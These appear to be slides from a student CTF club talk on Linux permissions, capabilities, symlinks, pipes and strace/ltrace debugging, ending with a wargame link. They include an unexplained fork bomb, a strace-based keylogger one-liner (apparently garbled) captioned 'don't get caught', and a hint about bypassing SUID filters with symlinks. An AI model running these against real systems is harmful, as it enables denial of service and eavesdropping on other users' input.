Advanced Linux stuff

By Chris & Zack

Agenda

- CSAW Details
- Linux Permissions review + advanced - I can’t let you do that Dave
- Symlinks!
- Pipes! (with cool examples!)
- Ez linux debugging for fun and profit
- Tying it all together: a demo. Wow! So Cool!
- Wargamez: hacking the gibson one step at a time

CSAW STUFF HERE

CSAW is this weekend and we are competing! I hope to see you all there.

We will be competing in **ITE 227** from 4pm - whenever on **Friday, September 15th**

Saturday times/room # TBA, probably starting around noon, room depends on attendance.

There will be pizza!

Only the top 10 qualify this year so we have our work cut out for us.

DM me (toomanybananas on Slack) if you get a flag! We can only send 4 people to finals so I need to know who our top performers are.

Linux Perms (review)

read = 4
write = 2
execute = 1

d = directory
l = symlink
b = block device
c = character device

```
:)-22:18-zack@sperfari:56551:0:~/ctf/linux_talk
$ ls -l
total 28K
drwxr-xr-x 2 zack zack 4.0K Sep 12 22:13 a_directory/
-rw-r--r-- 1 zack zack    0 Sep 12 22:17 afile
-rw-r--r-- 1 zack zack    3 Sep 12 22:17 bfile
crw-r--r-- 1 root root 1, 3 Sep 12 22:15 devicefile
brw-r--r-- 1 root root 1, 3 Sep 12 22:15 devicefile2
-rwxr-xr-x 1 zack zack 8.5K Sep 12 22:16 hello*
-rw-r--r-- 1 zack zack   64 Sep 12 22:16 hello.c
drwxr-xr-x 2 zack zack 4.0K Sep 12 22:18 other_files/
lrwxrwxrwx 1 zack zack   11 Sep 12 22:13 some_symlink -> a_directory/
```

SUID/SGID

```
:)-22:25-zack@sperfari:56602:0:~/ctf/linux_talk/other_files
$ ls -l
total 44K
-rwsr-sr-x 1 zack zack 8.5K Sep 12 22:17 hello_crazy*
-rwxr-sr-x 1 zack zack 8.5K Sep 12 22:17 hello_sgid*
-rwsr-xr-x 1 zack zack 8.5K Sep 12 22:16 hello_suid*
drwxr-sr-x 2 zack adm  4.0K Sep 12 22:22 somedir/
drwxrwxrwt 2 pair pair 4.0K Sep 12 22:25 someother/
:)-22:25-zack@sperfari:56603:0:~/ctf/linux_talk/other_files
$ ls -l somedir
total 0
-rw-r--r-- 1 zack adm 0 Sep 12 22:22 afile
-rw-r--r-- 1 zack adm 0 Sep 12 22:22 bfile
-rw-r--r-- 1 zack adm 0 Sep 12 22:22 cfile
-rw-r--r-- 1 zack adm 0 Sep 12 22:22 dfile
:)-22:25-zack@sperfari:56604:0:~/ctf/linux_talk/other_files
$ ls -l someother
total 0
-rw-r--r-- 1 junk junk 0 Sep 12 22:25 afile
:)-22:25-zack@sperfari:56605:0:~/ctf/linux_talk/other_files
$ rm someother/afile
rm: remove write-protected regular empty file 'someother/afile'? y
rm: cannot remove 'someother/afile': Operation not permitted
```

There are 3 more permission bits

setuid (4)
setgid (2)
Sticky bit (1)

Files:

- setuid/setgid mean the file runs as owning user/group
- Sticky bit is useless

Directories:

- setuid is useless
- setgid means that new files are owned by that group
- Sticky bit means only owner can create files

So you can set a file suid with:

chmod 4755 /usr/local/bin/suidfile

setcap

The Linux kernel has a concept of “capabilities”. Idea is to split **root** up into pieces so a process can have just part of the privs.

Unfortunately, most of them are equivalent to full root

But they’re useful in a few cases, such as ping, which needs to send ICMP packets

```
:)-22:58-zack@sperfari:56610:0:/bin
$ ls -l | grep ping
-rwxr-xr-x 1 root root  60K Nov 10  2016 ping*
lrwxrwxrwx 1 root root    4 Nov 10  2016 ping4 -> ping*
lrwxrwxrwx 1 root root    4 Nov 10  2016 ping6 -> ping*
```

```
:)-22:58-zack@sperfari:56610:0:/bin
$ getcap ping
ping = cap_net_raw+ep
```

CAP_AUDIT_CONTROL
CAP_AUDIT_READ
CAP_AUDIT_WRITE
CAP_BLOCK_SUSPEND
CAP_CHOWN
CAP_DAC_OVERRIDE
CAP_IPC_LOCK
CAP_IPC_OWNER
CAP_KILL
CAP_LEASE
CAP_LINUX_IMMUTABLE
CAP_MKNOD
CAP_NET_ADMIN
CAP_NET_BIND_SERVICE
CAP_NET_RAW
CAP_SETGID
CAP_SETFCAP
CAP_SETPCAP
CAP_SETUID
CAP_SYS_ADMIN
... and more

Linux attributes

These are Linux specific, not to be confused with POSIX extended attributes

Change them with chattr, see them with lsattr

Most are useless, the two important ones are immutable and appendonly

Immutable makes the file unchangable, even for root!

Appendonly makes it so you can only append stuff to the file, again, even for root!

```
root@sperfari:~/linux_talk# echo "hello" >> myfile
root@sperfari:~/linux_talk# chmod 000 myfile
root@sperfari:~/linux_talk# ls -l
total 4
---------- 1 root root 6 Sep 12 23:23 myfile
root@sperfari:~/linux_talk# echo "goodbye" >> myfile
root@sperfari:~/linux_talk# cat myfile
hello
goodbye
root@sperfari:~/linux_talk# chattr +i myfile
root@sperfari:~/linux_talk# echo "nope" >> myfile
-bash: myfile: Operation not permitted
root@sperfari:~/linux_talk# lsattr myfile
----i---------e---- myfile
root@sperfari:~/linux_talk# cat myfile
hello
goodbye
root@sperfari:~/linux_talk# chattr -i myfile
root@sperfari:~/linux_talk# echo "yes" >> myfile
root@sperfari:~/linux_talk# cat myfile
hello
goodbye
yes
root@sperfari:~/linux_talk#
```

Symbolic Links (Symlinks)

Symlinks are literally my favorite filesystem feature

Essentially a reference to another file. Inherits permission, content, etc from the file it points to.

Created with the ln command (ln -s symlink /path/to/file)

Since it has the same permissions as the file it points to but a different name, it can help you bypass a blacklist or whitelist in a SUID program. (hint for wargame)

Pipes! | | | | | | |

Pipes sends the output of one program to another program. Pipes can be chained together to form pipelines, which can do some pretty powerful stuff.

Common pipe recipients:

grep - search input for some pattern

cut - extract text from input based on some delimiters

tail/head - Get only the last few/first few lines of the input

sed - text processing tool, generally useful for substituting things

awk - another text processing tool, has a bit of a learning curve

Pipe demos

Find top 10 commands

```
cat .bash_history | grep -v "^#" | sed "s/sudo //" | sed -E "s/^\s+//" | cut -f 1 -d " " | sort | uniq -c | sort -nr | head -40
```

Defcon CTF Qualifiers 2017: crackme2000 solutions

```
objdump -M intel -d $1 | grep “cmp” | grep “rdi,0x” | cut -d”,” -f2 | xxd -r -p
```

```
objdump -M intel -d $1 | grep -1 “e.x,BYTE PTR \[rax” | grep cmp | grep -v “eax” | grep -v “al” | cut  -d”,” -f2 | xxd -r -p
```

Fork bombs!

```
:(){ :|: & };:
```

Linux Debugging with Strace/Ltrace

Strace and ltrace are tools that make debugging certain programs on Linux really easy.

Strace intercepts all system calls and shows you the arguments and output

Ltrace intercepts all calls to dynamic libraries and shows you the arguments and output

Ltrace is a lot more useful than strace, but doesn’t work on every program!

Ltrace has no effect on statically linked binaries

strace ls

```
neos@ganondorf:~$ strace ls
execve("/bin/ls", ["ls"], [/* 18 vars */]) = 0
brk(NULL)                               = 0x55d777cf0000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f31fd22e000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=96586, ...}) = 0
mmap(NULL, 96586, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f31fd216000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libselinux.so.1", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0000k\0\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0644, st_size=155400, ...}) = 0
mmap(NULL, 2259664, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f31fcde6000
mprotect(0x7f31fce0b000, 2093056, PROT_NONE) = 0
mmap(0x7f31fd00a000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x24000) = 0x7f31fd
00a000
mmap(0x7f31fd00c000, 6864, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f31fd00c00
0
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\320\3\2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1689360, ...}) = 0
mmap(NULL, 3795360, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f31fca47000
mprotect(0x7f31fcbdc000, 2097152, PROT_NONE) = 0
mmap(0x7f31fcddc000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x195000) = 0x7f31
fcddc000
mmap(0x7f31fcde2000, 14752, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f31fcde20
00
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libpcre.so.3", O_RDONLY|O_CLOEXEC) = 3
```

ltrace ls

```
opendir(".")
readdir(0x56459f8f8ca0)
readdir(0x56459f8f8ca0)
readdir(0x56459f8f8ca0)
readdir(0x56459f8f8ca0)
readdir(0x56459f8f8ca0)
readdir(0x56459f8f8ca0)
strlen("Downloads")
memcpy(0x56459f900ce0, "Downloads\0", 10)
readdir(0x56459f8f8ca0)
strlen("new.php")
memcpy(0x56459f900d00, "new.php\0", 8)
readdir(0x56459f8f8ca0)
readdir(0x56459f8f8ca0)
readdir(0x56459f8f8ca0)
readdir(0x56459f8f8ca0)
readdir(0x56459f8f8ca0)
readdir(0x56459f8f8ca0)
strlen("start-containers.sh")
memcpy(0x56459f900d20, "start-containers.sh\0", 20)
readdir(0x56459f8f8ca0)
strlen("prog.c")
memcpy(0x56459f900d40, "prog.c\0", 7)
readdir(0x56459f8f8ca0)
readdir(0x56459f8f8ca0)
strlen("Documents")
memcpy(0x56459f900d60, "Documents\0", 10)
readdir(0x56459f8f8ca0)
strlen("Videos")
memcpy(0x56459f900d80, "Videos\0", 7)
readdir(0x56459f8f8ca0)
strlen("Public")
memcpy(0x56459f900da0, "Public\0", 7)
readdir(0x56459f8f8ca0)
readdir(0x56459f8f8ca0)
strlen("Music")
memcpy(0x56459f900dc0, "Music\0", 6)
readdir(0x56459f8f8ca0)
```

Demo: Let’s make a keylogger!

Don’t use this for nefarious purposes

Also, don’t get caught.

```
Strace -s 1000 -f -qq -e write -e signal none -p $pid 2>&1 3>&1 | stdbuf -o0 -d”\”” -f2 | stdbuf -o0
tr -d ‘\n’
```

Wargamez

Now it's time to apply what you've learned in this presentation!

There's a wargame on Overthewire called Leviathan that ties in nicely with what we've taught you this lesson. All you need is a SSH client, such as PuTTY for Windows.

We will be walking around offering tipz n trickz, flag us down if you need help.

No such thing as a stupid question.

http://overthewire.org/wargames/leviathan/

You can also do Bandit (also on OTW) if you haven't done it before.